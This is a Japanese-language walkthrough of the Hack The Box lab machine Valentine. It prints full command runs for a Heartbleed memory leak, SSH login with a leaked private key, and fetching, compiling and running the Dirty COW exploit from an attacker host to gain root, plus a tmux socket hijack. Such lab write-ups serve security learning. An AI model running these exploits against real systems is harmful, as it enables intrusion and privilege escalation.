【Hack The Box】Valentine Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn 10.10.10.79 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-25 14:41 JST Nmap scan report for 10.10.10.79 Host is up (0.25s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA) | 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA) |_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). | ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US | Not valid before: 2018-02-06T00:45:25 |_Not valid after: 2019-02-06T00:45:25 |_ssl-date: 2020-07-25T05:45:17+00:00; +3m21s from scanner time. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: 3m20s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.30 seconds
22(ssh)、80(http)、443(https)が空いている。
※nmap -p- 10.10.10.79も実行し、ポート検出漏れしていないかも確認。
ブラウザでアクセス
80、443ポート共に以下のような画像が表示される。
ディレクトリスキャン
80番、443番ポート両方に実行。結果は同じ。
root@kali:~# gobuster dir -u https://10.10.10.79 -w /usr/share/dirb/wordlists/common.txt -k -t 100 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: https://10.10.10.79 [+] Threads: 100 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/07/25 15:00:15 Starting gobuster =============================================================== /.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /cgi-bin/ (Status: 403) /decode (Status: 200) /dev (Status: 301) /encode (Status: 200) /index (Status: 200) /index.php (Status: 200) /server-status (Status: 403) =============================================================== 2020/07/25 15:00:33 Finished ===============================================================
/decode
、dev
、encode
あたりが気になる。
443ポートにNSE(vuln)を実行
過去のマシンで443ポートが開いていたマシンは記憶にないので、まずは試しにNSE(vuln)を実行してみた。
root@kali:~# nmap --script vuln -p 443 10.10.10.79 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-25 14:58 JST Nmap scan report for 10.10.10.79 Host is up (0.25s latency). PORT STATE SERVICE 443/tcp open https |_clamav-exec: ERROR: Script execution failed (use -d to debug) |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-enum: | /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)' |_ /index/: Potentially interesting folder |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | ssl-ccs-injection: | VULNERABLE: | SSL/TLS MITM vulnerability (CCS Injection) | State: VULNERABLE | Risk factor: High | OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h | does not properly restrict processing of ChangeCipherSpec messages, | which allows man-in-the-middle attackers to trigger use of a zero | length master key in certain OpenSSL-to-OpenSSL communications, and | consequently hijack sessions or obtain sensitive information, via | a crafted TLS handshake, aka the "CCS Injection" vulnerability. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224 | http://www.openssl.org/news/secadv_20140605.txt |_ http://www.cvedetails.com/cve/2014-0224 | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. | | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://cvedetails.com/cve/2014-0160/ |_ http://www.openssl.org/news/secadv_20140407.txt | ssl-poodle: | VULNERABLE: | SSL POODLE information leak | State: VULNERABLE | IDs: CVE:CVE-2014-3566 BID:70574 | The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other | products, uses nondeterministic CBC padding, which makes it easier | for man-in-the-middle attackers to obtain cleartext data via a | padding-oracle attack, aka the "POODLE" issue. | Disclosure date: 2014-10-14 | Check results: | TLS_RSA_WITH_AES_128_CBC_SHA | References: | https://www.openssl.org/~bodo/ssl-poodle.pdf | https://www.imperialviolet.org/2014/10/14/poodle.html | https://www.securityfocus.com/bid/70574 |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566 |_sslv2-drown: Nmap done: 1 IP address (1 host up) scanned in 63.46 seconds
heartbleed
がvulnerableと検出される。なるほど、だからあのページ画像か。
【参考】Heartbleed
以前shockerというマシンでのshellshock
と同様、この脆弱性についても名前は聞いたことがあったが、具体的なところまで把握できていなかったため調べた。
※shockerのwalkthroughは以下。
paichan-it.hatenablog.com
Heartbleedとは
攻撃者がプログラムのメモリ内にある情報を取得できる、OpenSSLの脆弱性。メモリ内にある機微な情報などが窃取される可能性がある。
仕組み
SSL接続時にクライアントとサーバの生存確認のために「Heartbeat」と呼ばれる機能が行われる。
クライアント→サーバにHeartbeatが送られると、サーバは送ったデータをそのまま返すが、故意に長いデータを返すように要求することで、
本来返ってくるべきデータ(Heartbeatでサーバに送ったデータ)以外のデータも含めて返してしまうというもの。
Heartbeatで送ったデータサイズと、要求するデータサイズの検証が正しくできていなかったため、こういった問題が生じたとのこと。
以下のサイトで理解した。
Webページの探索
ディレクトリスキャンで見つけたページを探索していく。
/dev/notes.txt
/dev/hype_key
/encode
/decode
エクスプロイトコード探し
searchesploit
でheartbleed
のエクスプロイトコードを探す。
root@kali:~/valentine# searchsploit heartbleed ------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- OpenSSL 1.0.1f TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure (Multiple SSL/TLS Versions) | multiple/remote/32764.py OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (1) | multiple/remote/32791.c OpenSSL TLS Heartbeat Extension - 'Heartbleed' Information Leak (2) (DTLS Support) | multiple/remote/32998.c OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure | multiple/remote/32745.py ------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
一番下のものを持ってくる。(一番汎用的な名前の物を持ってくるようにしている)
※補足:一番上の物でも動いた。2、3番目のものは試していない。
root@kali:~/valentine# searchsploit -m 32745 Exploit: OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure URL: https://www.exploit-db.com/exploits/32745 Path: /usr/share/exploitdb/exploits/multiple/remote/32745.py File Type: Python script, ASCII text executable, with CRLF line terminators Copied to: /root/valentine/32745.py
エクスプロイトコード実行
まずは使い方を確認。
root@kali:~/valentine# python 32745.py Usage: 32745.py server [options] Test for SSL heartbeat vulnerability (CVE-2014-0160) Options: -h, --help show this help message and exit -p PORT, --port=PORT TCP port to test (default: 443)
ターゲットを指定するだけのようだ。
root@kali:~/valentine# python 32745.py 10.10.10.79 Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 885 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 Sending heartbeat request... ... received message: type = 24, ver = 0302, length = 16384 Received heartbeat response: 0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r... 0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9....... 0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....". 0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5. 0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................ 0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2. 0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../... 0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A............... 0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................ 0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................ 00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................ 00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 30 2E 30 2E ....#.......0.0. 00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F 1/decode.php..Co 00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ntent-Type: appl 0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ication/x-www-fo 0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 rm-urlencoded..C 0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ontent-Length: 4 0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc 0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld 0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D 2A mV0aGVoeXBlCg==* 0160: 42 E0 4F CD 42 AC 27 C9 08 9D 71 7C 4B CE 33 17 B.O.B.'...q|K.3. 0170: 7C BD 8A 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C |............... (snip)
base64エンコードされていると思われるデータが返ってきた。
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
デコードしてみる。
root@kali:~/valentine# echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d heartbleedbelievethehype
heartbleedbelievethehype
という文字列が出力された。何かのパスワード?メモしておく。
hype_keyの調査
ディレクトリスキャンで見つけた/dev
配下にあったhype_keyを詳しく見ていく。
まずはローカルに持ってくる。
root@kali:~/valentine# curl -O https://10.10.10.79/dev/hype_key -k % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5383 100 5383 0 0 4228 0 0:00:01 0:00:01 --:--:-- 4225
CyberChef
のFrom Hex
でデコードできた。ヘッダーの内容から、RSAの秘密鍵のようだ。
rsa_key
というファイル名で出力する。これを使ってssh接続できそうだ。
ssh接続
hype_key
というファイル名から、ユーザ名hypeと予想できる。先ほどデコードした秘密鍵を使ってssh接続する。
root@kali:~/valentine# ssh hype@10.10.10.79 -i rsa_key load pubkey "rsa_key": invalid format @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0744 for 'rsa_key' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "rsa_key": bad permissions hype@10.10.10.79's password:
permissionエラーがでる。調べると、秘密鍵のパーミッションは600に設定する必要があるらしい。(基礎的なことだと思うが、知らないことばっかりだ・・・)
permissionを変更すると、接続できた。
※パスフレーズは先ほど見つけたheartbleedbelievethehype
だった。
root@kali:~/valentine# chmod 600 rsa_key root@kali:~/valentine# ssh hype@10.10.10.79 -i rsa_key load pubkey "rsa_key": invalid format Enter passphrase for key 'rsa_key': Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64) * Documentation: https://help.ubuntu.com/ New release '14.04.5 LTS' available. Run 'do-release-upgrade' to upgrade to it. Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3 hype@Valentine:~$
user.txt取得
デスクトップにあるuser.txtを取得。
hype@Valentine:~$ ls Desktop Documents Downloads Music Pictures Public Templates Videos hype@Valentine:~$ cd Desktop/ hype@Valentine:~/Desktop$ ls user.txt hype@Valentine:~/Desktop$ cat user.txt e6710a5464769fd5fcd216e076961750
権限昇格のための情報取集
sudoはhypeのパスワードが求められ、SUIDが設定されているものでは、権限昇格に使えそうなものがない。
hype@Valentine:~$ sudo -l [sudo] password for hype: Sorry, try again. [sudo] password for hype: sudo: 1 incorrect password attempt hype@Valentine:~$ hype@Valentine:~$ find / -perm -4000 -type f 2>/dev/null /bin/su /bin/fusermount /bin/umount /bin/ping /bin/ping6 /bin/mount /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/pt_chown /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/bin/pkexec /usr/bin/sudoedit /usr/bin/X /usr/bin/newgrp /usr/bin/lppasswd /usr/bin/mtr /usr/bin/chsh /usr/bin/arping /usr/bin/passwd /usr/bin/sudo /usr/bin/at /usr/bin/chfn /usr/bin/traceroute6.iputils /usr/bin/gpasswd /usr/sbin/uuidd /usr/sbin/pppd
続いて、カーネルのバージョンを確認する。
hype@Valentine:~$ uname -a Linux Valentine 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
現在は、5.Xが最新のようなので、古い。何らかの脆弱性がないか確認する。
カーネルの脆弱性(エクスプロイトコード)探し
root@kali:~# searchsploit linux kernel 3.2 ------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- BSD/Linux Kernel 2.3 (BSD/OS 4.0 / FreeBSD 3.2 / NetBSD 1.4) - Shared Memory Denial of Service | bsd/dos/19423.c Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation | solaris/local/15962.c Linux Kernel 2.0/2.1 (Digital UNIX 4.0 D / FreeBSD 2.2.4 / HP HP-UX 10.20/11.0 / IBM AIX 3.2.5 / NetBSD 1.2 / Solaris 2.5.1) - Smurf Denial of Service | bsd/dos/19117.c Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method) | linux/local/40616.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40847.cpp Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method) | linux/local/40838.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) | linux/local/40839.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method) | linux/local/40611.c Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1) | linux/local/18411.c Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2) | linux/local/35161.c Linux Kernel 3.0 < 3.3.5 - 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation | linux/local/38390.c Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privilege Escalation | linux_x86-64/local/33516.c Linux Kernel 3.2.0-23/3.5.0-23 (Ubuntu 12.04/12.04.1/12.04.2 x64) - 'perf_swevent_init' Local Privilege Escalation (3) | linux_x86-64/local/33589.c Linux Kernel 3.2.1 - Tracing Multiple Local Denial of Service Vulnerabilities | linux/dos/38465.txt Linux Kernel 3.2.24 - 'fs/eventpoll.c' Local Denial of Service | linux/dos/19605.c Linux Kernel 3.2.x - 'uname()' System Call Local Information Disclosure | linux/local/37937.c Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.04/13.10 x64) - 'CONFIG_X86_X32=y' Local Privilege Escalation (3) | linux_x86-64/local/31347.c Linux Kernel 3.4 < 3.13.2 (Ubuntu 13.10) - 'CONFIG_X86_X32' Arbitrary Write (2) | linux/local/31346.c Linux Kernel 3.4 < 3.13.2 - recvmmsg x32 compat (PoC) | linux/dos/31305.c Linux Kernel 4.10.5 / < 4.14.3 (Ubuntu) - DCCP Socket Use-After-Free | linux/dos/43234.c Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation | linux/local/41886.c Linux Kernel < 3.16.1 - 'Remount FUSE' Local Privilege Escalation | linux/local/34923.c Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation | linux/local/44302.c Linux Kernel < 3.2.0-23 (Ubuntu 12.04 x64) - 'ptrace/sysret' Local Privilege Escalation | linux_x86-64/local/34134.c Linux Kernel < 3.4.5 (Android 4.2.2/4.4 ARM) - Local Privilege Escalation | arm/local/31574.c Linux Kernel < 3.5.0-23 (Ubuntu 12.04.2 x64) - 'SOCK_DIAG' SMEP Bypass Local Privilege Escalation | linux/local/44299.c Linux Kernel < 3.8.9 (x86-64) - 'perf_swevent_init' Local Privilege Escalation (2) | linux_x86-64/local/26131.c Linux Kernel < 3.8.x - open-time Capability 'file_ns_capable()' Local Privilege Escalation | linux/local/25450.c Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service | linux/dos/42136.c Linux kernel < 4.10.15 - Race Condition Privilege Escalation | linux/local/43345.c Linux Kernel < 4.11.8 - 'mq_notify: double sock_put()' Local Privilege Escalation | linux/local/45553.c Linux Kernel < 4.13.1 - BlueTooth Buffer Overflow (PoC) | linux/dos/42762.txt Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c Linux Kernel < 4.14.rc3 - Local Denial of Service | linux/dos/42932.c Linux Kernel < 4.15.4 - 'show_floppy' KASLR Address Leak | linux/local/44325.c Linux Kernel < 4.16.11 - 'ext4_read_inline_data()' Memory Corruption | linux/dos/44832.txt Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free | linux/dos/44579.c Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter target_offset' Local Privilege Escalation | linux/local/44300.c Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c Linux Kernel < 4.5.1 - Off-By-One (PoC) | linux/dos/44301.c ------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
Dirty COW
の脆弱性があるようだ。Privilege Escalation
と書かれている40839.c
を使う。
root@kali:~/valentine# searchsploit -m 40839 Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) URL: https://www.exploit-db.com/exploits/40839 Path: /usr/share/exploitdb/exploits/linux/local/40839.c File Type: C source, ASCII text, with CRLF line terminators Copied to: /root/valentine/40839.c
コンパイル方法などは40839.c
に書かれていた。firefartという名前のユーザを追加してくれるコードのようだ。
40839.cの持ち込み
ターゲットに40839.c
を持ち込む。
攻撃側環境で待ち受けて・・・
root@kali:~/valentine# python -m SimpleHTTPServer 1234
タ―ゲット環境からwget
で取りに行く。
hype@Valentine:~$ wget http://10.10.14.13/40839.c --2020-07-25 04:51:49-- http://10.10.14.13/40839.c Connecting to 10.10.14.13:80... failed: Connection refused. hype@Valentine:~$ wget http://10.10.14.13:1234/40839.c --2020-07-25 04:51:59-- http://10.10.14.13:1234/40839.c Connecting to 10.10.14.13:1234... connected. HTTP request sent, awaiting response... 200 OK Length: 5006 (4.9K) [text/plain] Saving to: `40839.c' 100%[===========================================================================================================================================================>] 5,006 --.-K/s in 0s 2020-07-25 04:51:59 (271 MB/s) - `40839.c' saved [5006/5006]
root.txt取得まで
以下の流れでコンパイル、実行した。firefartユーザのパスワードは「valentine」で設定。
hype@Valentine:~$ mv 40839.c dirty.c hype@Valentine:~$ hype@Valentine:~$ gcc -pthread dirty.c -o dirty -lcrypt hype@Valentine:~$ ./dirty /etc/passwd successfully backed up to /tmp/passwd.bak Please enter the new password: Complete line: firefart:fiR9VG9uIjxwY:0:0:pwned:/root:/bin/bash mmap: 7fb150355000 madvise 0 ptrace 0 Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'firefart' and the password 'valentine'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd Done! Check /etc/passwd to see if the new user was created. You can log in with the username 'firefart' and the password 'valentine'. DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd hype@Valentine:~$
後はsu
でfirefartユーザになり、root.txtを取得して終了。
hype@Valentine:~$ su firefart Password: firefart@Valentine:/home/hype# id uid=0(firefart) gid=0(root) groups=0(root) firefart@Valentine:/home/hype# cat /root/root.txt f1bb6d759df1f272914ebbc9ed7765b2
root.txt取得の別解
bashで実行したコマンドの実行履歴が確認できる.bash_history
を見る。
hype@Valentine:~$ cat .bash_history exit exot exit ls -la cd / ls -la cd .devs ls -la tmux -L dev_sess tmux a -t dev_sess tmux --help tmux -S /.devs/dev_sess exit
tmux
を使っているようだ。 /.devs/dev_sessにはSUIDが設定されている。
hype@Valentine:~$ ls -l /.devs/dev_sess srw-rw---- 1 root hype 0 Jul 24 22:44 /.devs/dev_sess
オプションの意味がわからなかったので、少し調べた。
tmux -L dev_sess ★dev_sessという名前のソケット名でセッションを開始 tmux a -t dev_sess ★dev_sessにアタッチしようとしたが、正しい方法ではないため、失敗 tmux --help ★オプションを確認 tmux -S /.devs/dev_sess ★dev_sessに接続
ちょっとよくわからない。ちゃんと調べとこ。
結局、.bash_history
にある方法と同じ方法でroot権限が取得できる。
hype@Valentine:~$ tmux -S /.devs/dev_sess root@Valentine:/home/hype# id uid=0(root) gid=0(root) groups=0(root)